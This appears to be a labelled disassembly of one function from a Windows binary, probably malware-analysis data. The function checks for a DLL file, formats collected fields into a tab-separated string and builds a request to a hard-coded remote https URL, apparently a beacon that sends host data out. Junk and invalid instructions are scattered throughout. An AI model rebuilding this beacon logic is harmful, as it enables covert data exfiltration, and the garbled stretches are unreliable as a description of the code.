Function at 0x40f900
Capabilities:
Check if file exists

Disassembly:
int3
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a0c02
mov eax, dword fs:[0]
push eax
mov eax, 0x1d4c
call fcn.00434830
mov eax, dword [0x62b0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d50], ecx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1d4c], eax
mov byte [ebp - 0x1d46], 1
call fcn.0043a9ef
test al, al
je 0x40f962
jae 0x40f8dd
or al, 0x70
stc
mul dword [ecx + ecx]
jmp 0x40f95c
mov eax, 0xc29c76f3
shr al, 0x91
lodsd eax, dword [esi]
add al, byte [eax]
call fcn.0043a6f8
test al, al
je 0x40f98a
sub byte [bp + si], cl
imul esi, dword [ebx + 0x77], 0xa31e7570
cld
cwde
mov dl, 0xc
neg dword [edi]
xchg edx, eax
xor esi, dword [ecx - 0x984c27c]
sbb dword [edx - 0x2e], 0xffffffe4
sbb dl, bl
or byte [eax + ebp*8 + 0x2ab86], dl
call fcn.0043a515
test al, al
je 0x40f9a9
push esp
xor edx, esp
jns 0x40f9ca
cmpsb byte [esi], byte es:[edi]
jno 0x40f9cd
fdiv qword [ecx + 0x24]
add ebp, edx
push edx
cmp dl, cl
inc edi
sbb dword [0x6a921708], esi
adc dword [ebx], esi
rol bh, 0x85
sbb bl, ah
invalid
push 0x11
xor eax, eax
mov dword [ebp - 0x1ce8], 7
push str.C:LogResLog.dll
lea ecx, [ebp - 0x1cfc]
mov dword [ebp - 0x1cec], 0
add byte [eax], al
mov word [ebp - 0x1cfc], ax
mov dword [ebp - 0x1cfc], eax
call fcn.00401a60
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1cfc]
cmp dword [ebp - 0x1ce8], 8
inc dword [ebx - 0x1ce743]
dec dword [eax]
cmovae eax, dword [ebp - 0x1cfc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
movzx ecx, byte [ebp - 0x1d46]
xor edx, edx
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1d54], ecx
call fcn.0043a851
test al, al
je 0x40fa2e
retf 0x8d89
inc ebx
arpl word [esi], bp
test ecx, 0x35735379
das
or dword [esi + 0x34], ebx
stosb byte es:[edi], al
pop ecx
fcomp dword [edi + 0x6559301c]
mov ebp, 0x2abb1e8
add byte [eax + eax*8 - 0x36a9e78c], al
call fcn.0043a5e4
test al, al
je 0x40fa4f
push esi
leave
push edi
je 0x40fa18
scasd eax, dword es:[edi]
inc ebx
push ebx
jl 0x40fa07
div byte [eax + 0x78]
dec esp
jecxz 0x40fa57
jl 0x40fab8
jmp 0x40f9e4
call fcn.0043a66e
test al, al
je 0x40fa70
sbb byte [ecx], dl
cdq
lodsd eax, dword [esi]
sar dword [edi + 0x5e], 0x17
adc dword [ecx + 0x5e7fc1ad], ebx
pop ss
inc esi
fst dword [edx]
je 0x40fa71
in eax, 0xc9
jbe 0x40fac7
clc
sub esp, dword [edi]
jns 0x40fa8a
sub byte [ebx - 0x6a], 0x80
cmp byte [ebp - 0x1d54], 0
je 0x40faa9
mov ebp, 0xffffe2ac
add byte [eax + esi + 0x68], dh
invalid
push 0x270f
push 0
xor bl, bl
call fcn.0043a280
add esp, 8
movzx ebx, bl
cmp eax, 0x64
mov ecx, 1
cmovle ebx, ecx
call fcn.0043acf9
test eax, eax
jne 0x40faa9
test bl, bl
je 0x40fef6
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d30], 0xf
mov dword [ebp - 0x1d34], 0
mov byte [ebp - 0x1d44], 0
cmp byte [edx], 0
add bh, al
test esp, ecx
loop 0x40fabd
invalid
inc dword [eax]
add byte [eax], al
add dh, al
test dword [edx - 0x7fff0001], edi
cmp al, byte [eax]
invalid
jne 0x40fad3
xor ecx, ecx
jmp 0x40fae1
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fad8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1d44]
call fcn.00401d10
lea eax, [ebp - 0x1d44]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x1ce4]
push eax
call fcn.004250cb
add esp, 8
lea ecx, [ebp - 0x1d44]
mov byte [ebp - 4], 3
call fcn.004018d0
cmp dword [ebp - 0x1cd0], 8
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x1ce4]
cmovae eax, dword [ebp - 0x1ce4]
push ecx
push eax
call fcn.004210dc
add esp, 8
call fcn.0043a80c
test al, al
je 0x40fb56
jo 0x40fba3
xor byte [ebp + 0x65], bh
dec esi
invalid
push 0x1000
lea eax, [ebp - 0x1ccc]
push 0
push eax
call fcn.00445350
add esp, 0xc
call fcn.0043aa79
test al, al
je 0x40fb85
dec edi
and al, 0x77
invalid
mov ebx, dword [ebp - 0x1d50]
cmp dword [ebx + 0xcc], 0x10
lea eax, [ebx + 0xb8]
jb 0x40fb9c
mov eax, dword [eax]
cmp dword [ebx + 0x54], 0x10
lea ecx, [ebx + 0x40]
jb 0x40fba7
mov ecx, dword [ecx]
cmp dword [ebx + 0x9c], 0x10
lea edx, [ebx + 0x88]
jb 0x40fbb8
mov edx, dword [edx]
cmp dword [ebx + 0x84], 0x10
lea esi, [ebx + 0x70]
jb 0x40fbc6
mov esi, dword [esi]
add ebx, 0x28
cmp dword [ebx + 0x14], 0x10
jb 0x40fbd1
mov ebx, dword [ebx]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x114]
push eax
push ecx
push edx
push esi
push ebx
lea eax, [ebp - 0x1ccc]
push str._s_t_s_t_s_t_s_t_s_t_d_t_s
push eax
call fcn.00409a60
push 0xbb8
lea eax, [ebp - 0xccc]
push 0
push eax
call fcn.00445350
add esp, 0x30
mov dword [ebp - 0x1d58], 0xbb8
cmp byte [ebp - 0x1ccc], 0
mov dword [ebp - 0x1d18], 0xf
mov dword [ebp - 0x1d1c], 0
mov byte [ebp - 0x1d2c], 0
jne 0x40fc39
xor ecx, ecx
jmp 0x40fc4b
lea ecx, [ebp - 0x1ccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fc42
sub ecx, edx
push ecx
lea eax, [ebp - 0x1ccc]
push eax
lea ecx, [ebp - 0x1d2c]
call fcn.00401d10
lea ecx, [ebp - 0x1d58]
mov byte [ebp - 4], 4
cmp dword [ebp - 0x1d18], 0x10
lea eax, [ebp - 0x1d2c]
push ecx
cmovae eax, dword [ebp - 0x1d2c]
lea ecx, [ebp - 0xccc]
push ecx
push dword [ebp - 0x1d1c]
push eax
call fcn.0043c0a9
add esp, 0x10
call fcn.0043a9aa
test al, al
je 0x40fcae
dec ebx
fist dword [eax - 0x72]
movsd dword es:[edi], dword [esi]
and dl, byte [ecx]
ret 0x26d2
lea ecx, [ebp - 0x1d45]
call fcn.00403100
lea eax, [ebp - 0xccc]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1d45]
call fcn.0043ba93
call fcn.0043a8db
test al, al
je 0x40fcf3
lea edi, [ebx - 0x1700001e]
inc edi
xor al, 0xff
dec dword [ebp - 0xccb7b]
inc esi
inc ebp
cld
add eax, 0xbb8d8d50
loop 0x40fcc8
invalid
invalid
push 0xe6252ec3
stosb byte es:[edi], al
mov ebp, 0xdff0bfb7
lds eax, [esi]
popal
int1
xchg byte [edx], cl
outsb dx, byte [esi]
ret
call fcn.0043a73d
test al, al
je 0x40fd11
dec edx
sub esp, dword [edi]
or dl, byte [ebx + 0x5d2ae946]
adc dword [edi], 0xffffffc4
jo 0x40fcaf
iretd
call fcn.0043a896
test al, al
je 0x40fd2c
add al, 0x90
shl byte [edx - 0x6018f571], cl
sbb byte [edx], 2
and byte [ebx], bl
add eax, 0xe98ac7d6
push 0x45
push str.https:__tjtv3.wn51.com__6075554d87c54ec2771e66409270e621de961b5ac5
lea ecx, [ebp - 0x1d14]
mov dword [ebp - 0x1d00], 0xf
mov dword [ebp - 0x1d04], 0
mov byte [ebp - 0x1d14], 0
in al, dx
loop 0x40fd37
invalid
inc edi
test dword [eax], eax
jecxz 0x40fd3d
invalid
dec dword [edi]
add byte [eax], al
add bh, al
test esp, edi
loop 0x40fd47
invalid
inc dword [eax]
add byte [eax], al
add dh, al
test esp, ebp
loop 0x40fd51
invalid
inc dword [eax]
call fcn.00401d10
mov byte [ebp - 4], 6
cmp byte [ebp - 0xccc], 0
jne 0x40fd6a
xor ecx, ecx
jmp 0x40fd7c
lea ecx, [ebp - 0xccc]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40fd73
sub ecx, edx
push ecx
lea eax, [ebp - 0xccc]
push eax
lea ecx, [ebp - 0x1d14]
call fcn.00407140
call fcn.0043a7c7
test al, al
je 0x40fdac
jl 0x40fd35
adc byte [ebp + 6], dl
arpl word [0x9f8aee78], di
mov cl, 0x43
dec esi
ret
call fcn.0043a5e4
test al, al
je 0x40fdd3
movsb byte es:[edi], byte [esi]
aas
not dword [ebx + ebp*8 + 0x79]
int1
sti
or al, 0xae
neg dword [ebp + ecx*8 - 0x27260aa9]
mov edi, 0x1bc51f52
xchg ebx, eax
neg byte [edi]
mov ebp, 0xe8711c41
fld xword [eax - 0x3f7bfffe]
call fcn.0043a6b3
test al, al
je 0x40fdfb
div ch
ret
call fcn.0043a446
test al, al
je 0x40fe14
mov ah, 0xd1
sbb eax, 0x1028dcb0
or byte [ebx], al
pop ds
and eax, 0xd8c67957
test byte [ebx - 0x1cff43], 0xff
adc byte [ebp - 0x1d137b], cl
dec dword [edi]
inc ebx
test esp, ebp
loop 0x40fe26
cmp dword [ebp - 0x1d00], 0x10
lea eax, [ebp - 0x1d14]
cmovae eax, dword [ebp - 0x1d14]
push eax
call 0x4104a0
invalid
call dword [eax - 0x18]
jb 0x40fe32
add byte [eax], al
mov dword [ebp - 0x1d4c], eax
call fcn.0043a8db
test al, al
je 0x40fe5a
invalid
cmpsd dword [esi], dword es:[edi]
fld qword [eax - 0x65c0f08f]
pop eax
mov dl, 0x66
mov al, 0x1d
inc edx
cmp esi, dword [edi - 0x53]
clc
scasd eax, dword es:[edi]
rcr byte [ebp - 0x2c9ec40e], 0x7b
or al, 0x9f
js 0x40fe13
call fcn.0043a9ef
test al, al
je 0x40fe81
adc bh, byte [esi + 0x4b1f5754]
xchg esi, eax
pop es
std
invalid
cmp dword [ebp - 0x1d4c], 0
jne 0x40fe9a
mov ecx, dword [ebp - 0x1d50]
push 0x620b00
call fcn.004106d0
lea ecx, [ebp - 0x1d14]
call fcn.004018d0
lea ecx, [ebp - 0x1d45]
call fcn.00401450
lea ecx, [ebp - 0x1d2c]
call fcn.004018d0
mov eax, dword [ebp - 0x1cd0]
cmp eax, 8
jb 0x40fed9
inc eax
lea ecx, [ebp - 0x1ce4]
push eax
push dword [ebp - 0x1ce4]
call fcn.00401f40
xor eax, eax
mov dword [ebp - 0x1cd0], 7
mov dword [ebp - 0x1cd4], 0
mov word [ebp - 0x1ce4], ax
mov eax, dword [ebp - 0x1ce8]
cmp eax, 8
jb 0x40ff14
inc eax
lea ecx, [ebp - 0x1cfc]
push eax
push dword [ebp - 0x1cfc]
call fcn.00401f40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00433ee3
mov esp, ebp
pop ebp
ret 0x10